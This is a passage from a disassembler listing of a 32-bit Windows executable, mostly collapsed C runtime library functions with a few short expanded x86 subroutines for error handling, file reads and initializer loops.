EXPAND] align 10h ; [000000BE BYTES: COLLAPSED FUNCTION _strchr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000124 BYTES: COLLAPSED FUNCTION _strncpy. PRESS KEYPAD "+" TO EXPAND] ; [000000BF BYTES: COLLAPSED FUNCTION _strtok. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _feof. PRESS KEYPAD "+" TO EXPAND] ; [00000196 BYTES: COLLAPSED FUNCTION __fread_nolock_s. PRESS KEYPAD "+" TO EXPAND] ; [000000BD BYTES: COLLAPSED FUNCTION _fread_s. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION $LN15_0. PRESS KEYPAD "+" TO EXPAND] ; [0000001B BYTES: COLLAPSED FUNCTION _fread. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000011D BYTES: COLLAPSED FUNCTION _ceil. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION _atol. PRESS KEYPAD "+" TO EXPAND] ; [00000005 BYTES: COLLAPSED FUNCTION j__atol. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION _fast_error_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000041 BYTES: COLLAPSED FUNCTION _check_managed_app. PRESS KEYPAD "+" TO EXPAND] ; [000001E0 BYTES: COLLAPSED FUNCTION ___tmainCRTStartup. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION $LN39. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000008B BYTES: COLLAPSED FUNCTION _strlen. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4041BB proc near ; CODE XREF: sub_40121E+58p ; unknown_libname_5+Fp ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_41D3D8 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] test eax, eax pop edi mov [ebp+var_4], eax pop esi jz short loc_4041EE test byte ptr [eax], 8 jz short loc_4041EE mov [ebp+var_C], 1994000h loc_4041EE: ; CODE XREF: sub_4041BB+25j ; sub_4041BB+2Aj lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] call near ptr 436000h add cl, cl retn 8 sub_4041BB endp ; [0000002B BYTES: COLLAPSED FUNCTION _JumpToContinuation(void *,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop ebx leave retn 8 ; [00000007 BYTES: COLLAPSED FUNCTION sub_404235. PRESS KEYPAD "+" TO EXPAND] ; [00000052 BYTES: COLLAPSED FUNCTION unknown_libname_9. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION ___CxxFrameHandler3. PRESS KEYPAD "+" TO EXPAND] ; [00000030 BYTES: COLLAPSED FUNCTION CatchGuardHandler(EHExceptionRecord *,CatchGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [000000D5 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND] ; [0000009D BYTES: COLLAPSED FUNCTION TranslatorGuardHandler(EHExceptionRecord *,TranslatorGuardRN *,void *,void *). PRESS KEYPAD "+" TO EXPAND] ; [00000073 BYTES: COLLAPSED FUNCTION _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *). PRESS KEYPAD "+" TO EXPAND] ; [00000028 BYTES: COLLAPSED FUNCTION __CreateFrameInfo. PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION __IsExceptionObjectToBeDestroyed. PRESS KEYPAD "+" TO EXPAND] ; [0000004C BYTES: COLLAPSED FUNCTION __FindAndUnlinkFrame. PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION _CallCatchBlock2(EHRegistrationNode *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION __EH_prolog3. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION __EH_prolog3_catch. PRESS KEYPAD "+" TO EXPAND] ; [00000036 BYTES: COLLAPSED FUNCTION __EH_prolog3_GS. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __EH_epilog3. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40467F proc near ; CODE XREF: sub_40177B:loc_4019EBp ; sub_4019F3:loc_401C15p ... mov ecx, [ebp-10h] xor ecx, ebp call sub_402710 jmp __EH_epilog3 sub_40467F endp ; [00000104 BYTES: COLLAPSED FUNCTION ___report_gsfailure. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] ; [00000055 BYTES: COLLAPSED FUNCTION setSBCS(threadmbcinfostruct *). PRESS KEYPAD "+" TO EXPAND] ; [0000018A BYTES: COLLAPSED FUNCTION setSBUpLow(threadmbcinfostruct *). PRESS KEYPAD "+" TO EXPAND] ; [00000098 BYTES: COLLAPSED FUNCTION ___updatetmbcinfo. PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION $LN18_0. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN13_4. PRESS KEYPAD "+" TO EXPAND] ; [0000007A BYTES: COLLAPSED FUNCTION getSystemCP(int). PRESS KEYPAD "+" TO EXPAND] ; [000001AB BYTES: COLLAPSED FUNCTION __setmbcp_nolock. PRESS KEYPAD "+" TO EXPAND] ; [00000161 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp short $LN28 ; --------------------------------------------------------------------------- ; [0000002E BYTES: COLLAPSED CHUNK OF FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] ; [00000140 BYTES: COLLAPSED FUNCTION ___freetlocinfo. PRESS KEYPAD "+" TO EXPAND] ; [00000086 BYTES: COLLAPSED FUNCTION ___addlocaleref. PRESS KEYPAD "+" TO EXPAND] ; [0000008C BYTES: COLLAPSED FUNCTION ___removelocaleref. PRESS KEYPAD "+" TO EXPAND] ; [0000003E BYTES: COLLAPSED FUNCTION __updatetlocinfoEx_nolock. PRESS KEYPAD "+" TO EXPAND] ; [0000006A BYTES: COLLAPSED FUNCTION ___updatetlocinfo. PRESS KEYPAD "+" TO EXPAND] ; [0000000C BYTES: COLLAPSED FUNCTION $LN11_2. PRESS KEYPAD "+" TO EXPAND] ; [00000063 BYTES: COLLAPSED FUNCTION __encode_pointer. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __encoded_null. PRESS KEYPAD "+" TO EXPAND] ; [00000063 BYTES: COLLAPSED FUNCTION __decode_pointer. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_4051F6 proc near ; DATA XREF: __mtinit+8Ao ; .data:off_425E04o call ds:dword_41D180 ; TlsAlloc retn 4 sub_4051F6 endp ; [0000002A BYTES: COLLAPSED FUNCTION ___set_flsgetvalue. PRESS KEYPAD "+" TO EXPAND] ; [0000003D BYTES: COLLAPSED FUNCTION __mtterm. PRESS KEYPAD "+" TO EXPAND] ; [000000AB BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN9_1. PRESS KEYPAD "+" TO EXPAND] ; [00000083 BYTES: COLLAPSED FUNCTION __getptd_noexit. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __getptd. PRESS KEYPAD "+" TO EXPAND] ; [00000109 BYTES: COLLAPSED FUNCTION _freefls(x). PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION $LN27_0. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN19_0. PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION $LN28_0. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN23. PRESS KEYPAD "+" TO EXPAND] ; [00000184 BYTES: COLLAPSED FUNCTION __mtinit. PRESS KEYPAD "+" TO EXPAND] ; [00000117 BYTES: COLLAPSED FUNCTION __tolower_l. PRESS KEYPAD "+" TO EXPAND] ; [00000027 BYTES: COLLAPSED FUNCTION _tolower. PRESS KEYPAD "+" TO EXPAND] ; [0000003B BYTES: COLLAPSED FUNCTION __get_errno_from_oserr. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+" TO EXPAND] ; [00000013 BYTES: COLLAPSED FUNCTION ___doserrno. PRESS KEYPAD "+" TO EXPAND] ; [0000001E BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000061 BYTES: COLLAPSED FUNCTION ___ascii_strnicmp. PRESS KEYPAD "+" TO EXPAND] ; [00000049 BYTES: COLLAPSED FUNCTION __mtinitlocks. PRESS KEYPAD "+" TO EXPAND] ; [00000055 BYTES: COLLAPSED FUNCTION __mtdeletelocks. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION __unlock. PRESS KEYPAD "+" TO EXPAND] ; [000000BA BYTES: COLLAPSED FUNCTION __mtinitlocknum. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN14_2. PRESS KEYPAD "+" TO EXPAND] ; [00000031 BYTES: COLLAPSED FUNCTION __lock. PRESS KEYPAD "+" TO EXPAND] ; [0000005B BYTES: COLLAPSED FUNCTION ___heap_select. PRESS KEYPAD "+" TO EXPAND] ; [0000005A BYTES: COLLAPSED FUNCTION __heap_init. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION ___sbh_heap_init. PRESS KEYPAD "+" TO EXPAND] ; [0000002B BYTES: COLLAPSED FUNCTION ___sbh_find_block. PRESS KEYPAD "+" TO EXPAND] ; [00000314 BYTES: COLLAPSED FUNCTION ___sbh_free_block. PRESS KEYPAD "+" TO EXPAND] ; [000000B0 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_region. PRESS KEYPAD "+" TO EXPAND] ; [00000106 BYTES: COLLAPSED FUNCTION ___sbh_alloc_new_group. PRESS KEYPAD "+" TO EXPAND] ; [000002DF BYTES: COLLAPSED FUNCTION ___sbh_resize_block. PRESS KEYPAD "+" TO EXPAND] ; [000002E3 BYTES: COLLAPSED FUNCTION ___sbh_alloc_block. PRESS KEYPAD "+" TO EXPAND] ; [00000045 BYTES: COLLAPSED FUNCTION __SEH_prolog4. PRESS KEYPAD "+" TO EXPAND] ; [00000014 BYTES: COLLAPSED FUNCTION __SEH_epilog4. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000196 BYTES: COLLAPSED FUNCTION __except_handler4. PRESS KEYPAD "+" TO EXPAND] ; [00000160 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000033 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] ; [0000004A BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] ; [00000975 BYTES: COLLAPSED FUNCTION __output_l. PRESS KEYPAD "+" TO EXPAND] db 8Dh, 49h, 0 off_40734F dd offset $NORMAL_STATE$25379 ; DATA XREF: __output_l+1A2r dd offset $LN130 ; jump table for switch statement dd offset $LN129 dd offset $LN121 dd offset $LN117 dd offset $LN116 dd offset $LN112 dd offset $LN96 align 10h ; [00000365 BYTES: COLLAPSED FUNCTION unknown_libname_13. PRESS KEYPAD "+" TO EXPAND] ; [00000065 BYTES: COLLAPSED FUNCTION _strcpy_s. PRESS KEYPAD "+" TO EXPAND] ; [00000040 BYTES: COLLAPSED FUNCTION unknown_libname_53. PRESS KEYPAD "+" TO EXPAND] ; [00000048 BYTES: COLLAPSED FUNCTION unknown_libname_55. PRESS KEYPAD "+" TO EXPAND] ; [0000004B BYTES: COLLAPSED FUNCTION unknown_libname_57. PRESS KEYPAD "+" TO EXPAND] ; [00000050 BYTES: COLLAPSED FUNCTION unknown_libname_59. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __amsg_exit. PRESS KEYPAD "+" TO EXPAND] ; [00000026 BYTES: COLLAPSED FUNCTION ___crtCorExitProcess. PRESS KEYPAD "+" TO EXPAND] ; [00000015 BYTES: COLLAPSED FUNCTION ___crtExitProcess. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __lockexit. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION __unlockexit. PRESS KEYPAD "+" TO EXPAND] ; [00000018 BYTES: COLLAPSED FUNCTION __initterm. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION __initterm_e. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_407906 proc near ; CODE XREF: ___heap_select+12p ; ___crtInitCritSecAndSpinCount+27p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi xor esi, esi cmp ecx, esi jnz short loc_40792E loc_407911: ; CODE XREF: sub_407906+2Fj call __errno push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call __invalid_parameter add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_40792E: ; CODE XREF: sub_407906+9j mov eax, dword_425F78 cmp eax, esi jz short loc_407911 mov [ecx], eax xor eax, eax pop esi retn sub_407906 endp ; =============== S U B R O U T I N E ======================================= sub_40793D proc near ; CODE XREF: ___heap_select+2Dp ; sub_40F524+11Fp arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi xor esi, esi cmp eax, esi jnz short loc_407965 loc_407948: ; CODE XREF: sub_40793D+2Ej call __errno push esi push esi push esi push esi push esi mov dword ptr [eax], 16h call __invalid_parameter add esp, 14h push 16h pop eax pop esi retn ; --------------------------------------------------------------------------- loc_407965: ; CODE XREF: sub_40793D+9j cmp dword_425F78, esi jz short loc_407948 mov ecx, dword_425F84 mov [eax], ecx xor eax, eax pop esi retn sub_40793D endp ; [00000092 BYTES: COLLAPSED FUNCTION __cinit. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION $LN15_2. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000006 BYTES: COLLAPSED CHUNK OF FUNCTION _doexit. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION $LN26_0. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION __exit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __cexit. PRESS KEYPAD "+" TO EXPAND] ; [0000000F BYTES: COLLAPSED FUNCTION __c_exit. PRESS KEYPAD "+" TO EXPAND] ; [0000004C BYTES: COLLAPSED FUNCTION __init_pointers. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_407B65 proc near ; CODE XREF: __invoke_watson+CEp ; __invalid_parameter+18p ... and dword_434DC4, 0 retn sub_407B65 endp ; --------------------------------------------------------------------------- align 10h ; [0000007A BYTES: COLLAPSED FUNCTION _memset. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000365 BYTES: COLLAPSED FUNCTION unknown_libname_61. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407F55 proc near ; CODE XREF: sub_402FED+7p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 push 0Ch push offset dword_421518 call __SEH_prolog4 push 0Eh call __lock pop ecx and [ebp+ms_exc.disabled], 0 mov esi, [ebp+arg_0] mov ecx, [esi+4] test ecx, ecx jz short loc_407FA6 mov eax, dword_425FC0 mov edx, offset dword_425FBC loc_407F81: ; CODE XREF: sub_407F55+65j mov [ebp+var_1C], eax test eax, eax jz short loc_407F99 cmp [eax], ecx jnz short loc_407FB8 mov ecx, [eax+4] mov [edx+4], ecx push eax ; Memory call _free pop ecx loc_407F99: ; CODE XREF: sub_407F55+31j push dword ptr [esi+4] ; Memory call _free pop ecx and dword ptr [esi+4], 0 loc_407FA6: ; CODE XREF: sub_407F55+20j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_407FBC call __SEH_epilog4 retn ; --------------------------------------------------------------------------- loc_407FB8: ; CODE XREF: sub_407F55+35j mov edx, eax jmp short loc_407F81 sub_407F55 endp ; =============== S U B R O U T I N E ======================================= sub_407FBC proc near ; CODE XREF: sub_407F55+58p ; DATA XREF: .rdata:00421530o push 0Eh call __unlock pop ecx retn sub_407FBC endp ; --------------------------------------------------------------------------- align 10h ; [00000088 BYTES: COLLAPSED FUNCTION _strcmp. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_408058 proc near ; CODE XREF: __init_pointers+9p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_425FC4, eax retn sub_408058 endp ; [00000022 BYTES: COLLAPSED FUNCTION __callnewh. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_408084 proc near ; CODE XREF: __flsbuf+76p __flsbuf+82p ... mov eax, offset off_423950 retn sub_408084 endp ; [000000B1 BYTES: COLLAPSED FUNCTION ___initstdio. PRESS KEYPAD "+" TO EXPAND] ; [00000020 BYTES: COLLAPSED FUNCTION ___endstdio. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __lock_file. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __lock_file2. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __unlock_file. PRESS KEYPAD "+" TO EXPAND] ; [00000023 BYTES: COLLAPSED FUNCTION __unlock_file2. PRESS KEYPAD "+" TO EXPAND] ; [000002A2 BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] ; [0000011A BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [00000003 BYTES: COLLAPSED FUNCTION $LN25. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN19_1. PRESS KEYPAD "+" TO EXPAND] align 4 ; [000000D6 BYTES: COLLAPSED FUNCTION __local_unwind4. PRESS KEYPAD "+" TO EXPAND] ; [0000001C BYTES: COLLAPSED FUNCTION _seh_longjmp_unwind4(x). PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _EH4_CallFilterFunc(x,x). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000019 BYTES: COLLAPSED CHUNK OF FUNCTION __except_handler4. PRESS KEYPAD "+" TO EXPAND] ; [0000001A BYTES: COLLAPSED FUNCTION _EH4_GlobalUnwind(x). PRESS KEYPAD "+" TO EXPAND] ; [00000017 BYTES: COLLAPSED FUNCTION _EH4_LocalUnwind(x,x,x,x). PRESS KEYPAD "+" TO EXPAND] ; [00000096 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND] ; [0000002F BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND] ; [00000240 BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] ; [0000002D BYTES: COLLAPSED FUNCTION __fileno. PRESS KEYPAD "+" TO EXPAND] ; [00000094 BYTES: COLLAPSED FUNCTION __close_nolock. PRESS KEYPAD "+" TO EXPAND] ; [000000C3 BYTES: COLLAPSED FUNCTION __close. PRESS KEYPAD "+" TO EXPAND] ; [0000000A BYTES: COLLAPSED FUNCTION $LN14_4. PRESS KEYPAD "+" TO EXPAND] ; [0000002C BYTES: COLLAPSED FUNCTION __freebuf. PRESS KEYPAD "+" TO EXPAND] ; [00000062 BYTES: COLLAPSED FUNCTION __flush. PRESS KEYPAD "+" TO EXPAND] ; [00000042 BYTES: COLLAPSED FUNCTION __fflush_nolock. PRESS KEYPAD "+" TO EXPAND] ; [0000009D BYTES: COLLAPSED FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] ; [00000005 BYTES: COLLAPSED FUNCTION $LN31. PRESS KEYPAD "+" TO EXPAND] ; [00000011 BYTES: COLLAPSED FUNCTION $LN24_1. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [0000001E BYTES: COLLAPSED CHUNK OF FUNCTION _flsall. PRESS KEYPAD "+" TO EXPAND] ; [00000009 BYTES: COLLAPSED FUNCTION $LN20_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_408D58 proc near ; CODE XREF: ___endstdiop push 1 call _flsall pop ecx retn sub_408D58 endp ; --------------------------------------------------------------------------- align 10h ; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND] ; [00000054 BYTES: COLLAPSED FUNCTION ___check_float_string. PRESS KEYPAD "+" TO EXPAND] ; [00000016 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND] ; [00000025 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND] ; [00000C4D BYTES: COLLAPSED FUNCTION __input_l. PRESS KEYPAD "+" TO EXPAND] ; [000001A0 BYTES: COLLAPSED FUNCTION __NMSG_WRITE. PRESS KEYPAD "+" TO EXPAND] ; [00000039 BYTES: COLLAPSED FUNCTION __FF_MSGBANNER. PRESS KEYPAD "+" TO EXPAND] ; [00000120 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] ; [000005A2 BYTES: COLLAPSED FUNCTION __read_nolock. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_40A34F(int,int,size_t Size) sub_40A34F proc near ; CODE XREF: __fread_nolock_s+C9p ; __filbuf+73p var_1C = dword ptr -1Ch ms_exc = CPPEH_RECORD ptr -18h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch Size = dword ptr 10h push 10h push offset dword_4215C0 call __SEH_prolog4 mov eax, [ebp+arg_0] cmp eax, 0FFFFFFFEh jnz short loc_40A37E call ___doserrno and dword ptr [eax], 0 call __errno mov dword ptr [eax], 9 loc_40A376: ; CODE XREF: sub_40A34F+5Cj or eax, 0FFFFFFFFh jmp loc_40A41B ; --------------------------------------------------------------------------- loc_40A37E: ; CODE XREF: sub_40A34F+12j xor edi, edi cmp eax, edi jl short loc_40A38C cmp eax, dword_433C84 jb short loc_40A3AD loc_40A38C: ; CODE XREF: sub_40A34F+33j ; sub_40A34F+7Cj call ___doserrno mov [eax], edi call __errno mov dword ptr [eax], 9 push edi push edi push edi push edi push edi call __invalid_parameter add esp, 14h jmp short loc_40A376 ; --------------------------------------------------------------------------- loc_40A3AD: ; CODE XREF: sub_40A34F+3Bj mov ecx, eax sar ecx, 5 lea ebx, ds:433CA0h[ecx*4] mov esi, eax and esi, 1Fh imul esi, 28h mov ecx, [ebx] movzx ecx, byte ptr [ecx+esi+4] and ecx, 1 jz short loc_40A38C push eax call ___lock_fhandle pop ecx mov [ebp+ms_exc.disabled], edi mov eax, [ebx] test byte ptr [eax+esi+4], 1 jz short loc_40A3F6 push [ebp+Size] ; Size push [ebp+arg_4] ; int push [ebp+arg_0] ; int call __read_nolock add esp, 0Ch mov [ebp+var_1C], eax jmp short loc_40A40C ; --------------------------------------------------------------------------- loc_40A3F6: ; CODE XREF: sub_40A34F+8Fj call __errno mov dword ptr [eax], 9 call ___doserrno mov [eax], edi or [ebp+var_1C], 0FFFFFFFFh loc_40A40C: ; CODE XREF: sub_40A34F+A5j mov [ebp+ms_exc.disabled], 0FFFFFFFEh call sub_40A421 mov eax, [ebp+var_1C] loc_40A41B: ; CODE XREF: sub_40A34F+2Aj call __SEH_epilog4 retn sub_40A34F endp ; =============== S U B R O U T I N E ======================================= sub_40A421 proc near ; CODE XREF: sub_40A34F+C4p ; DATA XREF: .rdata:004215D8o push dword ptr [ebp+8] call __unlock_fhandle pop ecx retn sub_40A421 endp ; [0000027A BYTES: COLLAPSED FUNCTION ___libm_error_support. PRESS KEYPAD "+" TO EXPAND] db 8Bh, 0FFh off_40A6A7 dd offset $LN26_1 ; DATA XREF: ___libm_error_support+1DAr dd offset $LN24_2 ; jump table for switch statement dd offset $LN22_0 dd offset $LN20_3 dd offset $LN18_3 dd offset $LN16_2 dd offset $LN36 dd offset $LN12_3 dd offset $LN30 dd offset $LN8_3 dd offset $LN6_0 dd offset $LN4 dd offset $LN2 ; [00000014 BYTES: COLLAPSED FUNCTION __sse2_mathfcns_init. PRESS KEYPAD "+" TO EXPAND] ; [000000D1 BYTES: COLLAPSED FUNCTION __floor_default. PRESS KEYPAD "+" TO EXPAND] ; [0000022B BYTES: COLLAPSED FUNCTION strtoxl(localeinfo_struct *,char const *,char const * *,int,int). PRESS KEYPAD "+" TO EXPAND] ; [00000029 BYTES: COLLAPSED FUNCTION _strtol. PRESS KEYPAD "+" TO EXPAND] ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; [0000016F BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] ; [0000005D BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] ; [000000DB BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] ; [00000198 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] ; [000000B9 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] ; [00000135 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40B042 proc near ; CODE XREF: ___tmainCRTStartup:loc_40402Cp push esi push edi mov eax, offset dword_421294 mov edi, offset dword_421294 cmp eax, edi mov esi, eax jnb short loc_40B063 loc_40B054: ; CODE XREF: sub_40B042+1Fj mov eax, [esi] test eax, eax jz short loc_40B05C call eax loc_40B05C: ; CODE XREF: sub_40B042+16j add esi, 4 cmp esi, edi jb short loc_40B054 loc_40B063: ; CODE XREF: sub_40B042+10j pop edi pop esi retn sub_40B042 endp ; =============== S U B R O U T I N E ======================================= ; void __cdecl sub_40B066() sub_40B066 proc near ; DATA XREF: __cinit+3Fo push esi push edi mov eax, offset dword_42129C mov edi, offset dword_42129C cmp eax, edi mov esi, eax jnb short loc_40B087 loc_40B078: ; CODE XREF: sub_40B066+1Fj mov eax, [esi] test eax, eax jz short loc_40B080 call eax loc_40B080: ; CODE XREF: sub_40B066+16j add esi, 4 cmp esi, edi jb short loc_40B078 loc_40B087: ; CODE XREF: sub_40B066+10j pop edi pop esi retn sub_40B066 endp ; [00000094 BYTES: COLLAPSED FUNCTION ___security_init_cookie. PRESS KEYPAD "+" TO EXPAND] ; [0000006C BYTES: COLLAPSED FUNCTION __CxxUnhandledExceptionFilter(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] ; [00000021 BYTES: COLLAPSED FUNCTION $LN9_2. PRESS KEYPAD "+" TO EXPAND] ; [00000024 BYTES: COLLAPSED FUNCTION __CxxRestoreUnhandledExceptionFilter(void). PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_40B1CF proc near ; DATA XREF: .rdata:004216E8o mov dword ptr [ecx], offset off_41DC24 jmp sub_402CCA sub_40B1CF endp ; =============== S U B R O U T I N E ======================================= ; int __thiscall sub_40B1DA(void *Memory,char) sub_40B1DA proc near ; DATA XREF: .rdata:off_41DC24o arg_0 = byte ptr 4 push esi mov esi, ecx mov dword ptr [esi], offset off_41DC24 call sub_402CCA test [esp+4+arg_0], 1 jz short loc_40B1F6 push esi ; Memory call j__free pop ecx loc_40B1F6: ; CODE XREF: sub_40B1DA+13j mov eax, esi pop esi retn 4 sub_40B1DA endp ; [0000005C BYTES: COLLAPSED FUNCTION ___TypeMatch. PRESS KEYPAD "+" TO EXPAND] ; [00000044 BYTES: COLLAPSED FUNCTION ___FrameUnwindFilter. PRESS KEYPAD "+" TO EXPAND] ; [000000C0 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND] ; [00000006 BYTES: COLLAPSED 